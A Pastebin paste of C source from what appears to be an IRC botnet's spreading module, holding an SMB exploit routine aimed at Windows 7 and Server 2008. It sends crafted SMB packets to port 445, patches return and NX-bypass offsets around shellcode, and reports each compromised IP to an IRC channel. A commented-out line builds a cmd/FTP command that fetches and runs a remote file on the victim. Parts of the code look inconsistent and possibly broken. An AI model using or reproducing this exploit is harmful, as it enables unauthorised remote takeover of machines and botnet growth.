Advertisement
Guest User

Untitled

a guest
Jun 20th, 2017
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "incs.h"
  2. #include "funcs.h"
  3. #define WIN32_LEAN_AND_MEAN
  4. #ifndef NO_ADVSCAN
  5.  
  6. unsigned char packetnego[] =
  7. "\x00\x00\x00\x55"
  8. "\xff\x53\x4d\x42\x72\x00\x00\x00\x00\x98\x53\xc8\x00\x00\x00\x00"
  9. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe\x00\x00\x00\x00"
  10. "\x11\x05\x00\x03\x0a\x00\x01\x00\x04\x11\x00\x00\x00\x00\x01\x00"
  11. "\x00\x00\x00\x00\xfd\xe3\x00\x80\x1a\x49\xf9\x22\xfb\x86\xca\x01"
  12. "\x88\xff\x00\x10\x00\xf0\xe4\x54\xc4\x50\x6c\xb2\x4a\xb9\x3a\x6b"
  13. "\xcf\xb0\x8c\x8d\xaf";
  14.  
  15. unsigned char packetsession[] =
  16. "\x00\x00\x01\x3d"
  17. "\xff\x53\x4d\x42\x73\x16\x00\x00\xc0\x98\x07\xc8\x00\x00\x00\x00"
  18. "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x10\x00"
  19. "\x04\xff\x00\x3d\x01\x00\x00\xc8\x00\x12\x01\x4e\x54\x4c\x4d\x53"
  20. "\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38\x00\x00\x00\x15"
  21. "\x82\x8a\xe2\x16\x7a\x68\x5f\xc6\x0c\x78\xd8\x00\x00\x00\x00\x00"
  22. "\x00\x00\x00\x84\x00\x84\x00\x44\x00\x00\x00\x05\x01\x28\x0a\x00"
  23. "\x00\x00\x0f\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x02"
  24. "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x01"
  25. "\x00\x0c\x00\x46\x00\x55\x00\x43\x00\x4b\x00\x55\x00\x32\x00\x04"
  26. "\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b\x00\x75\x00\x32\x00\x2e"
  27. "\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e\x00\x6c\x00\x6f\x00\x63"
  28. "\x00\x61\x00\x6c\x00\x03\x00\x22\x00\x66\x00\x75\x00\x63\x00\x6b"
  29. "\x00\x75\x00\x32\x00\x2e\x00\x74\x00\x65\x00\x73\x00\x74\x00\x2e"
  30. "\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x06\x00\x04\x00\x01"
  31. "\x00\x00\x00\x07\x00\x08\x00\xe8\x62\xc8\x16\xfb\x86\xca\x01\x00"
  32. "\x00\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
  33. "\x73\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x57\x00\x69\x00"
  34. "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00"
  35. "\x30\x00\x30\x00\x20\x00\x4c\x00\x41\x00\x4e\x00\x20\x00\x4d\x00"
  36. "\x61\x00\x6e\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00";
  37.  
  38. unsigned char packetsession2[] =
  39. "\x00\x00\x00\x75"
  40. "\xff\x53\x4d\x42\x73\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  41. "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe\x00\x08\x20\x00"
  42. "\x04\xff\x00\x75\x00\x01\x00\x00\x00\x4a\x00\x00\x57\x00\x69\x00"
  43. "\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x35\x00\x2e\x00"
  44. "\x31\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00"
  45. "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x4c\x00"
  46. "\x41\x00\x4e\x00\x20\x00\x4d\x00\x61\x00\x6e\x00\x61\x00\x67\x00"
  47. "\x65\x00\x72\x00\x00";
  48.  
  49. unsigned char uszSessionSetupAndX3[] =
  50. "\x00\x00\x00\x6B"
  51. "\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
  52. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x75\xC0\x00\x00\xD7\x6D"
  53. "\x0D\xFF\x00\x00\x00\xDF\xFF\x02\x00\x01\x00\x00\x00\x00\x00\x00"
  54. "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x2E\x00\x00\x57\x4F"
  55. "\x52\x4B\x47\x52\x4F\x55\x50\x00\x57\x69\x6E\x64\x6F\x77\x73\x20"
  56. "\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00\x57\x69\x6E\x64\x6F\x77"
  57. "\x73\x20\x32\x30\x30\x30\x20\x35\x2E\x30\x00";
  58.  
  59. unsigned char packetree[] =
  60. "\x00\x00\x00\x38"
  61. "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  62. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xfe\x00\x08\x30\x00"
  63. "\x07\xff\x00\x38\x00\x01\x00\xff\x01\x00\x00\xff\x01\x00\x00\x07"
  64. "\x00\x49\x50\x43\x00\x00\x00\x00";
  65.  
  66. unsigned char packetntcreate[] =
  67. "\x00\x00\x00\x87"
  68. "\xff\x53\x4d\x42\xa2\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  69. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x84\x08\x00\x08\x40\x00"
  70. "\x2a\xff\x00\x87\x00\x00\x00\x40\x01\x00\x00\x00\x00\x00\x00\x00"
  71. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  72. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00"
  73. "\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  74. "\x02\x00\xff\x05\x00\xff\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  75. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9b\x01\x12"
  76. "\x00\x9b\x01\x12\x00\x00\x00";
  77.  
  78. /*
  79. unsigned char packetrans[] =
  80. "\x00\x00\x00\x5a"
  81. "\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x98\x07\xc8\x00\x00\x00\x00"
  82. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x30\x0b\x00\x08\x50\x00"
  83. "\x0a\x02\x00\x18\x00\x00\x00\x02\x00\x38\x00\x00\x00\x18\x00\xff"
  84. "\xff\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00"
  85. "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x50\x51\x52\x53\x54\x55\x56"
  86. "\x02\x61\x42\x42\x42\x42\x41\x41\x41\x41"; //+EBP+EIP;
  87. */
  88. //EBP = "\x42\x42\x42\x42"
  89. //EIP = "\x41\x41\x41\x41"
  90.  
  91. unsigned char packetrans[] =
  92.     "\x00\x00\x02\x3F"
  93.     "\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x01\x20\x00\x00\x00\x00"
  94.     "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x78\x04\x00\x08\x40\x00"
  95.     "\x0E\xFF\x00\x00\x00\x00\x40\x00\x00\x00\x00\xFF\xFF\xFF\xFF\x08"
  96.     "\x00\x00\x02\x00\x00\x00\x02\x3F\x00\x00\x00\x00\x00\x00\x02\x05"
  97.     "\x00\x0B\x03\x10\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\xD0"
  98.     "\x16\xD0\x16\x00\x00\x00\x00\x0B\x00\x00\x00\x00\x00\x01\x00\x84"
  99.     "\x23\x33\xB3\x1F\x08\x95\x0E\x2C\x4A\x30\x2C\xC3\x08\x07\x83\x01"
  100.     "\x00\x03\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B"
  101.     "\x10\x48\x60\x02\x00\x00\x00\x01\x00\x01\x00\xBE\x0E\x1E\xA7\x54"
  102.     "\x61\x21\xE0\x91\x04\x5A\xE4\x23\xE6\x82\xD0\x02\x00\x03\x00\x04"
  103.     "\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02"
  104.     "\x00\x00\x00\x02\x00\x01\x00\xE9\xDF\x4F\x7F\xE7\x2B\x6B\x4D\xA5"
  105.     "\xD4\xAA\x3C\x83\x15\x03\xA1\x00\x00\x02\x00\x04\x5D\x88\x8A\xEB"
  106.     "\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x03"
  107.     "\x00\x01\x00\xAD\x50\x9A\xD8\x19\xB9\x5C\xF3\x1C\x99\x41\x53\xAD"
  108.     "\x1E\x60\x75\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F"
  109.     "\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x04\x00\x01\x00\x97"
  110.     "\x21\x7E\x9F\x40\x9E\xC9\xBE\xD7\xEB\xA4\xB0\xF1\x37\xFE\x95\x05"
  111.     "\x00\x03\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B"
  112.     "\x10\x48\x60\x02\x00\x00\x00\x05\x00\x01\x00\xFD\xC8\x52\x8B\x85"
  113.     "\xCC\x74\x3A\x8B\x15\x29\xE0\x30\xCD\xAC\x16\x02\x00\x01\x00\x04"
  114.     "\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02"
  115.     "\x00\x00\x00\x06\x00\x01\x00\x5B\xDE\xCB\x9A\xE1\x25\x83\x72\x1F"
  116.     "\x10\xA3\xA2\x92\xE7\x36\x76\x00\x00\x02\x00\x04\x5D\x88\x8A\xEB"
  117.     "\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x07"
  118.     "\x00\x01\x00\x74\xF4\xCD\xC0\x09\x2D\x7F\xF3\xBE\xB8\x73\x35\x0C"
  119.     "\x06\x52\x68\x01\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F"
  120.     "\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00\x08\x00\x01\x00\xE5"
  121.     "\x6C\x25\xEA\xE1\x8A\x1B\xC2\x4A\x17\x56\x88\x29\xEE\xC3\x06\x01"
  122.     "\x00\x02\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B"
  123.     "\x10\x48\x60\x02\x00\x00\x00\x09\x00\x01\x00\x26\x50\x70\x7D\x4D"
  124.     "\x88\x82\xAF\x7B\x3D\x96\x1D\xEA\xEB\x17\x9A\x02\x00\x01\x00\x04"
  125.     "\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02"
  126.     "\x00\x00\x00\x0A\x00\x01\x00"
  127.     "\xC8\x4F\x32\x4B\x70\x16\xD3\x01\x12\x78\x5A\x47\xBF\x6E\xE1\x88"
  128.     "\x03\x00\x00\x00"
  129.     "\x04\x5D\x88\x8A\xEB"
  130.     "\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"
  131.     "\x02\x61\x42\x42\x42\x42\x41\x41\x41\x41"; //+EBP+EIP
  132.  
  133. typedef enum {
  134. WINDOWS7 = 0,
  135. WINDOWS2k8 = 1
  136. } OD;
  137.  
  138. typedef struct {
  139. OD osID;
  140. unsigned long ulRet;
  141. unsigned long ulDisableNx;
  142. unsigned long ulScratch;
  143. } OFFSETS;
  144.  
  145. OFFSETS exploitOffsets[] = {
  146. {WINDOWS7, 0x001F1CB0, 0x001F1CB0, 0x00020408},
  147. {WINDOWS2K8, 0x0100129E, 0x0100129E, 0x00020408},
  148. };
  149.  
  150. int srvbsssize=344;
  151. BOOL WIN7SMB(char *target, void* conn,EXINFO exinfo) {
  152.     IRC* irc=(IRC*)conn;   
  153.     WSADATA wsaData;
  154.     SOCKET sockClient;
  155.     SOCKADDR_IN sAddr;
  156.     char szRecv[4096];
  157.     unsigned short ushSmbLen=0;
  158.     int nLen;
  159.     unsigned short ushUserID, ushTreeID, ushFID;
  160.     if (WSAStartup(MAKEWORD(2, 0), &wsaData) != NO_ERROR) {
  161.     return FALSE;
  162.     }
  163.     int fingerprint=FpHost(exinfo.ip, FP_RPC);
  164.     if (fingerprint == OS_UNKNOWN) {
  165.     fingerprint=FpHost(exinfo.ip, FP_SMB);
  166.     }
  167.     sockClient = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  168.     if (sockClient == INVALID_SOCKET) return FALSE;
  169.         sAddr.sin_family = AF_INET;
  170.         sAddr.sin_addr.s_addr = finet_addr(exinfo.ip);
  171.         sAddr.sin_port = fhtons(445);
  172.         if (connect(sockClient, (SOCKADDR *)&sAddr, sizeof(sAddr)) == SOCKET_ERROR) {
  173.     closesocket(sockClient);
  174.     return FALSE;
  175.     }
  176.     if (send(sockClient, (const char*)packetnego, sizeof(packetnego) - 1, 0) == SOCKET_ERROR) {
  177.     closesocket(sockClient);
  178.     return FALSE;
  179.     }
  180.     nLen = recv(sockClient, szRecv, 4096, 0);
  181.     if (nLen < 1) {
  182.     closesocket(sockClient);
  183.     return FALSE;
  184.     }
  185.     if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
  186.     closesocket(sockClient);
  187.     return FALSE;
  188.     }
  189.     nLen = recv(sockClient, szRecv, 4096, 0);
  190.     if (nLen <= 10) {
  191.     closesocket(sockClient);
  192.     return FALSE;
  193.     }
  194.     ushUserID = *(WORD *)(szRecv + 32);
  195.     memcpy(packetsession2 + 32, (char *)&ushUserID, 2);
  196.     if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0) == SOCKET_ERROR) {
  197.     closesocket(sockClient);
  198.     return FALSE;
  199.     }
  200.     nLen = recv(sockClient, szRecv, 4096, 0);
  201.     if (nLen <= 10) {
  202.     closesocket(sockClient);
  203.     return FALSE;
  204.     }
  205.     if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR) {
  206.     closesocket(sockClient);
  207.     return FALSE;
  208.     }
  209.     nLen = recv(sockClient, szRecv, 4096, 0);
  210.     if (nLen <= 10) {
  211.     closesocket(sockClient);
  212.     return FALSE;
  213.     }
  214.     ushUserID = *(WORD *)(szRecv + 32);
  215.     memcpy(packetree + 32, (char *)&ushUserID, 2);
  216.     if (send(sockClient, (const char*)packetree, sizeof(packetree) - 1, 0) == SOCKET_ERROR) {
  217.     closesocket(sockClient);
  218.     return FALSE;
  219.     }
  220.     nLen = recv(sockClient, szRecv, 4096, 0);
  221.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  222.     closesocket(sockClient);
  223.     return FALSE;
  224.     }
  225.     ushTreeID = *(WORD *)(szRecv + 28);
  226.     memcpy(packetntcreate + 28, (char *)&ushTreeID, 2);
  227.     memcpy(packetntcreate + 32, (char *)&ushUserID, 2);
  228.     if (send(sockClient, (const char*)packetntcreate, sizeof(packetntcreate) - 1, 0) == SOCKET_ERROR ) {
  229.     closesocket(sockClient);
  230.     return FALSE;
  231.     }
  232.     nLen = recv(sockClient, szRecv, 4096, 0);
  233.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  234.     closesocket(sockClient);
  235.     return FALSE;
  236.     }
  237.     ushFID = *(WORD *)(szRecv + 42);
  238.     memcpy(packetsession + 28, (char *)&ushTreeID, 2);
  239.     memcpy(packetsession + 32, (char *)&ushUserID, 2);
  240.     memcpy(packetsession + 41, (char *)&ushFID, 2);
  241.     if (send(sockClient, (const char*)packetsession, sizeof(packetsession) - 1, 0) == SOCKET_ERROR) {
  242.     closesocket(sockClient);
  243.     return FALSE;
  244.     }
  245.     nLen = recv(sockClient, szRecv, 4096, 0);
  246.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  247.     closesocket(sockClient);
  248.     return FALSE;
  249.     }
  250.     memcpy(packetsession2 + 28, (char *)&ushTreeID, 2);
  251.     memcpy(packetsession2 + 32, (char *)&ushUserID, 2);
  252.     memcpy(packetsession2 + 41, (char *)&ushFID, 2 );
  253.     if (send(sockClient, (const char*)packetsession2, sizeof(packetsession2) - 1, 0 ) == SOCKET_ERROR ) {
  254.     closesocket(sockClient);
  255.     return FALSE;
  256.     }
  257.     nLen = recv(sockClient, szRecv, 4096, 0);
  258.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  259.     closesocket(sockClient);
  260.     return FALSE;
  261.     }
  262.     memcpy(packetrans + 28, (char *)&ushTreeID, 2);
  263.     memcpy(packetrans + 32, (char *)&ushUserID, 2);
  264.     memcpy(packetrans + 41, (char *)&ushFID, 2);
  265.     memcpy(uszDceRequest + 273, bs, srvbsssize); //send shellcode here and sizeof shellcode
  266.  
  267. /*
  268.     char szCmdLine[256];
  269.     _snprintf(szCmdLine, sizeof(szCmdLine) - 1,
  270.     "cmd /c echo open %s %s > i&echo user %s %s >> i &echo get %s >> i &echo quit >> i &ftp -n -s:i &%s\r\n",
  271.     /*szFTPAddr, szFTPPort, szFTPUser, szFTPPass, szFTPFilename, szFTPFilename*/);
  272.     int nShellcodeLength = srvbsssize; // sizeof(uszShellcode) + strlen(szCmdLine);
  273.     unsigned char *uszFormattedShellcode = (unsigned char *)malloc(nShellcodeLength);
  274.     memcpy(uszFormattedShellcode, uszShellcode, sizeof(uszShellcode) - 1);
  275.     memcpy(uszFormattedShellcode + sizeof(uszShellcode) - 1, szCmdLine, strlen(szCmdLine) + 1);
  276.     unsigned long ulEncodedSize = GetRNS0EncodedSize(nShellcodeLength);
  277.     char *pEncodedShellcode = (char *)malloc(ulEncodedSize);
  278.     unsigned long ulResult = EncodeRNS0(pEncodedShellcode, ulEncodedSize,(char *)uszFormattedShellcode, nShellcodeLength);
  279.     if (ulResult != ulEncodedSize) {
  280.     return FALSE;
  281.     }
  282. */
  283.  
  284.     if(fingerprint==OS_WIN7) {
  285.     //memcpy(uszDceRequest + 273, pEncodedShellcode, ulResult);
  286.     memcpy(uszDceRequest + 657, &exploitOffsets[WINDOWS7].ulScratch, 4);
  287.     memcpy(uszDceRequest + 661, &exploitOffsets[WINDOWS7].ulDisableNx, 4);
  288.     memcpy(uszDceRequest + 669, &exploitOffsets[WINDOWS7].ulRet, 4);
  289.         }
  290.     if(fingerprint==OS_WIN2K8) {
  291.     //memcpy(uszDceRequest + 273, pEncodedShellcode, ulResult);
  292.     memcpy(uszDceRequest + 657, &exploitOffsets[WINDOWS2K8].ulScratch, 4);
  293.     memcpy(uszDceRequest + 661, &exploitOffsets[WINDOWS2K8].ulDisableNx, 4);
  294.     memcpy(uszDceRequest + 669, &exploitOffsets[WINDOWS2K8].ulRet, 4);
  295.         }
  296.  
  297.     if (send(sockClient, (const char*)packetrans, sizeof(packetrans) - 1, 0) == SOCKET_ERROR) {
  298.     fclosesocket(sockClient);
  299.     return FALSE;
  300.     }
  301.     if (GoInMe(exinfo,bindport)) {
  302.     eholex[exinfo.eholex].stats++;
  303.     if (exinfo.verbose && !exinfo.notice) {
  304.     irc->privmsg(target,"%s %s -> %s (Ex: %d)", scan_title, eholex[exinfo.eholex].name, exinfo.ip, eholex[exinfo.eholex].stats);
  305.     }
  306.     if (exinfo.notice) {
  307.     irc->notice(target,"%s %s -> %s (Ex: %d)", scan_title, eholex[exinfo.eholex].name, exinfo.ip, eholex[exinfo.eholex].stats);
  308.     }
  309.     }
  310.     nLen = frecv(sockClient, szRecv, 4096, 0);
  311.     if ((nLen <= 10) || (szRecv[9] != 0)) {
  312.     fclosesocket(sockClient);
  313.     return FALSE;
  314.     }
  315.     CloseNullSession(exinfo.ip);
  316.     return TRUE;
  317.     //free(uszFormattedShellcode);
  318.     //free(pEncodedShellcode);
  319. }
  320. #endif
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement